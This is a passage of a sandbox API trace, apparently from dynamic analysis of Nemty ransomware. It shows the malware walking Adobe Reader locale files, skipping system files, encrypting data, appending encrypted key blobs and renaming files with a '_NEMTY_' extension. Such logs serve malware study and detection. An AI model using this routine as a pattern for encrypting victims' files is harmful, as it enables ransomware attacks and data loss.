(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.261] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.261] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.261] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.261] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="gv9oyOEwD73/LpwO/UjQTSm79R11/XyEqxZ9v37qU/502MjVj+6YtxCrT4x7mCV9\r\nxRZ26K6wMt7sy43QlrMV3KMPvMF7u9etdjzl46tijChpt/N6UXRMNVQdGPWrtn0r\r\nZDVQweFzCCDSk3l+tXFs/tPK7a2rW+SYCKUNFmLWHbXDvy4VACBVh/SW/09lRAiw\r\n/2A2HQN/bglyqtTU3QlatAnfRVpQO0WkEfDBKx2TKym7yguVd1uQSEtPwG3Srh5G\r\nVxvcUnTcGEuInFGsFnjRfoX3eRV7ioAu0B7mUcg1EwMF6vCOvxIvJ+jtBaoTIq0d\r\nMCtiHxl5jU7GG9wUJ5sDdg==\r\n", pcchString=0x653e5dc) returned 1 [0177.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.261] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\reflow.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\reflow.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.262] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0177.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0177.262] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.262] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0177.263] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.263] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0177.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.264] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0177.264] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.264] CloseHandle (hObject=0x2e8) returned 1 [0177.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0177.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.264] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\reflow.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\reflow.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\reflow.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\reflow.fra._nemty_kgobjgd_")) returned 1 [0177.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0177.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.265] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.FRA", cAlternateFileName="SAVEAS~1.FRA")) returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2=".") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="..") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="...") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="windows") returned -1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="rsa") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="NTDETECT.COM") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="ntldr") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="MSDOS.SYS") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="IO.SYS") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="boot.ini") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="boot.ini") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="ntuser.dat") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="desktop.ini") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="CONFIG.SYS") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="RECYCLER") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="bootmgr") returned 1 [0177.265] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="programdata") returned 1 [0177.266] lstrcmpiW (lpString1="SaveAsRTF.FRA", lpString2="appdata") returned 1 [0177.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.FRA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.FRA", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.FRA", lpUsedDefaultChar=0x0) returned 13 [0177.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.FRA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.FRA", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.FRA", lpUsedDefaultChar=0x0) returned 13 [0177.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.FRA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.FRA", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.FRA", lpUsedDefaultChar=0x0) returned 13 [0177.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.FRA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.FRA", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.FRA", lpUsedDefaultChar=0x0) returned 13 [0177.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.266] Sleep (dwMilliseconds=0x5) [0177.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d4fce30, dwHighDateTime=0x1d561e8)) [0177.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d4fce30, dwHighDateTime=0x1d561e8)) [0177.276] GetLastError () returned 0x0 [0177.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.276] GetLastError () returned 0x0 [0177.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.276] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.276] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.277] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.277] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="4LNDLBvNS277PAT8GbPoK17XF0QIE/HnZOAcK14CXGsWQygwHGEzNNo5vVk+MVqy\r\ndiWLo6tHDLoqqLb6Sa4X4LHN6jDkULoOYKYnnjfmvQjd2QyCV3A1f5a5OlQYSYeh\r\nv6Z3KPG0dK8CHkA4RZdLx1qAsj8s1QbFKOrZXe+4TRzfc3L9XzM3Jyu8hcHBLjG8\r\n/RH5X7y6GviiymQ35O/sbeR/r3exqHJAEVJ4zX4gyNJJZFyQNVLO1ZvH+itu+l0Y\r\nQAfvR9m3oQpnGzQGIspIzvsIIh2smILpLiAebLPy81cZWKvn8twmv8nVpL7YpjA8\r\nOmOsAIS3S3TNnhpdDKG9Yw==\r\n", pcchString=0x653e5dc) returned 1 [0177.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.277] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\SaveAsRTF.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\saveasrtf.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.277] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=19968) returned 1 [0177.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4e00) returned 0x6352c48 [0177.277] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.277] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4e00, lpOverlapped=0x0) returned 1 [0177.280] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.280] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4e00, lpOverlapped=0x0) returned 1 [0177.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.280] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=19968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e00 [0177.280] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.280] CloseHandle (hObject=0x2e8) returned 1 [0177.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.281] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\SaveAsRTF.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\saveasrtf.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\SaveAsRTF.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\saveasrtf.fra._nemty_kgobjgd_")) returned 1 [0177.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.282] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.FRA", cAlternateFileName="")) returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2=".") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="..") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="...") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="windows") returned -1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="rsa") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="NTDETECT.COM") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="ntldr") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="MSDOS.SYS") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="IO.SYS") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="boot.ini") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="boot.ini") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="ntuser.dat") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="desktop.ini") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="CONFIG.SYS") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="RECYCLER") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="bootmgr") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="programdata") returned 1 [0177.282] lstrcmpiW (lpString1="Search.FRA", lpString2="appdata") returned 1 [0177.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.282] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.282] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.FRA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.282] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.282] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.FRA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.FRA", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.FRA", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 